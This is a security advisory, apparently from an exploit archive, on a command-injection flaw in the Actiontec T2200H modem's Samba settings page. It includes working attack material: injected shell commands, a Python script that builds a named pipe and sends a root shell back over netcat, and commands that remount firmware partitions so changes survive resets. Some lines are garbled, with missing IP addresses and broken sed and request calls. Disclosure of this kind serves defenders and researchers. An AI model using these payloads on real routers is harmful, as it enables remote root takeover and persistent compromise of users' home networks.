Actiontec T2200H Remote Reverse Root Shell

Credit: Andrew Klaus
Risk: High
Local: No
Remote: Yes

### Device Details Vendor: Actiontec (Telus Branded, but may work on others) Model: T2200H (but likely affecting other similar models of theirs) Affected Firmware: T2200H-31.128L.03 Device Manual: Reported: November 2015 Status: Fixed on newly pushed firmware version CVE: Not needed since update is pushed by the provider. The Telus Actiontec T2200H is Telusa standard bonded VDSL2 modem. It incorporates 2 VDSL2 bonded links with a built-in firewall, bridge mode, 802.11agn wireless, etc. ### Summary of Findings - root shell access can be obtained as long as an attacker has a login to the web UI. The password can always be reset by knowing the device serial number printed on the device, if the default password hasn't been changed. - There are 2 separate firmware partitions (/dev/mtdblock0 and /dev/mtdblock1) that can be mounted read-write and then modified with additional files or configuration - surviving reboots and factory resets. - TR-069 settings can be modified to not check in to the management server. This means that future updates would be impossible without flashing the device locally. ### Running single shell commands Under Advanced Setup > Samba Configuration update either the Samba Username or Password with the following: a;iptables -Fa. A USB flash drive needs to be plugged into the USB port on the rear of the modem when running the exploit from the web GUI. Anything run in this field is executed as the root user. Now after running nmap, all listening ports are open: $ nmap -p 1-10000 Starting Nmap 6.49SVN ( ) at 2015-11-08 22:14 MST Nmap scan report for Host is up (0.016s latency). Not shown: 9991 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 80/tcp open http 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 5431/tcp open park-agent 7547/tcp open unknown ### Obtaining reverse root shell Create a netcat session locally: nc -k -l 5555 Next weall run the following python code to allow us to pipe /bin/sh back to us. Before running the following python code, you will need to login successfully to the web-ui through is the IP of the machine listening on netcat. ``` import requests s = requests.session() smb_post = { "action" : "savapply", "smbdEnable" : '1', "smbdPasswd" : "123", "smbdUserid" : ";rm /var/fifo2; mknod /var/fifo2 p", "smbdVolume" : 'usb1_1', "smbdWorkgroup" : "WORKGROUP"} # creating the fifo pipe"", smb_post) smb_post["smbdUserid"] = ";cat /var/fifo2 |/bin/sh -i 2>&1 |nc 5555 > /var/fifo2" # Using the pipe to send a shell over netcat"", smb_post) ``` Your netcat listener should now be prompted with a root busybox shell: $ nc -k -l 5555 BusyBox v1.17.2 (2013-12-27 18:49:15 PST) built-in shell (ash) Enter 'help' for a list of built-in commands. # cat /etc/image_version T2200H-311283BGW0011043 # ### Other Discoveries Mounting root filesystem read+write: `mount -t jffs2 -o remount,rw mtd:rootfs` Mounting partition 2 read-write: `mount -t jffs2 -o rw /dev/mtdblock1 /mnt` To allow unrestricted access of the web features (enabling telnet, firmware flash, TR-069 configuration, etc.) After the root filesystem is mounted read-write: ``` cat /webs/perm.txt | sed as/ 4/ 7/a | /webs/perm.txt cat /webs/perm2.txt | sed as/ 4/ 7/a | /webs/perm2.txt killall -HUP httpd ```

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